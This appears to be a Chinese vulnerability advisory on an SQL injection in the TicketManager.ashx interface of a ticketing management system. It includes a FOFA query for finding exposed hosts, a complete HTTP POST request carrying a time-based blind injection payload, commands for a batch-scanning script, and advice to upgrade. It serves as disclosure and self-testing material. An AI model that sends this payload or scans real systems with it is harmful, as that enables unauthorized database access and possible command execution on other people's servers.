某成科信票务管理系统 TicketManager SQL注入漏洞【附poc】

fofa

body="images/login/img_distri.png"

一、漏洞简述

某成科信票务管理系统一基础六管控多协同，智慧票务系统以私有/公有云为基础部署，提供票类策略管控、售票流程管控、门票核验管控、营销渠道管控、数据分析管控、财务核销管控功能，与其它业务系统数据共享，协同作业。。其接口TicketManager.ashx存在SQL注入漏洞，攻击者可通过该漏洞获取数据库敏感信息，甚至造成远程命令执行。

二、漏洞检测poc

POST /SystemManager/Api/TicketManager.ashx HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36Content-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 61
Method=GetReServeOrder&solutionId=1' WAITFOR DELAY '0:0:15'--

三、漏洞检测脚本

安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：

https://github.com/ATonysan/poc-exp/blob/main/zckxTicketManager_SQLInject.py

批量检测:

python zckxTicketManager_SQLInject.py -f url.txt

单个url检测漏洞:

python zckxTicketManager_SQLInject.py -u url

四、修复

官方已更新补丁，请升级至最新版本。

官网地址：http://www.zckx.net/